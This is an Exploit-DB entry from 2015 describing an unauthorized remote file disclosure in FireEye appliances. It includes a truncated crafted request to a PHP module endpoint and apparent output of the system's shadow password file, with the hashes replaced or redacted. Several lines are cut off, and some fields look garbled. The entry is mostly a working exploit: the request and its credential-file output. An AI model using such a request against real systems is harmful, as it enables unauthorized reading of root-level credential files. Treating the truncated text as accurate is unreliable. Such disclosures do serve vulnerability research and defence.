

FireEye Appliance Unauthorized File Disclosure



EDB-ID: 38090**CVE:** N/A**OSVDB-ID:**

N/A

Verified: ✕**Author:** Kristian Erik Hermansen**Published:**

(https://www.exploit-db.com/author/?a=2730)

2015-09-06

Download Exploit:  [Source](#)
(/download/38090)  [Raw](#)**Download Vulnerable App:** N/A[« Previous Exploit](#) (https://www.exploit-db.com/exploits/38089/)[Next Exploit »](#) (https://www.exploit-db.com/exploits/38091/)

```
1 Just one of many handfuls of FireEye / Mandiant 0day. Been sitting on this
2
3 FireEye appliance, unauthorized remote root file system access. Oh cool, wel
4
5 https://fireeyeapp/script/NEI_ModuleDispatch.php?module=NEI_AdvancedConfig&
6
7 ...
8
9 root:aaaaa:16209:0:99999:7:::
10 bin:*:15628:0:99999:7:::
11 daemon:*:15628:0:99999:7:::
12 adm:*:15628:0:99999:7:::
13 lp:*:15628:0:99999:7:::
14 sync:*:15628:0:99999:7:::
15 shutdown:*:15628:0:99999:7:::
16 halt:*:15628:0:99999:7:::
17 mail:*:15628:0:99999:7:::
18 uucp:*:15628:0:99999:7:::
19 operator:*:15628:0:99999:7:::
20 games:*:15628:0:99999:7:::
21 gopher:*:15628:0:99999:7:::
22 ftp:*:15628:0:99999:7:::
23 nobody:*:15628:0:99999:7:::
24 vcса:!!:16209:.....:
25 rpc:!!:16209:0:99999:7:::
26 saslauth:!!:16209:.....:
27 postfix:!!:16209:.....:
28 rpcuser:!!:16209:.....:
29 nfsnobody:!!:16209:.....:
30 apache:!!:16209:.....:
31 ntp:!!:16209:.....:
32 lighttpd:!!:16209:.....:
33 sshd:!!:16209:.....:
34 mailnull:!!:16209:.....:
```

```
35 smmsp:!!:16209:~::~:
36 openvpn:!!:16209:~::~:
37 tcpdump:!!:16209:~::~:
38 applianceuser:<redacted>:16209:0:99999:7::~:
39 rproxy:aaaaa:16209:0:99999:7::~:
40 sfserver:aaaaa:16209:0:99999:7::~:
41 provisioning:aaaaa:16209:0:99999:7::~:
42 upgrayedd:aaaaa:16209:0:99999:7::~:
43 sftasker:aaaaa:16209:0:99999:7::~:
44 felistener:aaaaa:16209:0:99999:7::~:
45 lighthouse:aaaaa:16209:0:99999:7::~:
46 crlfactory:aaaaa:16209:0:99999:7::~:
47 panlistener:aaaaa:16209:0:99999:7::~:
48 fireeye:<redacted>:16209:0:99999:7::~:
49
50 --
51 Kristian Erik Hermansen (@h3rm4ns3c)
52 https://www.linkedin.com/in/kristianhermansen
```
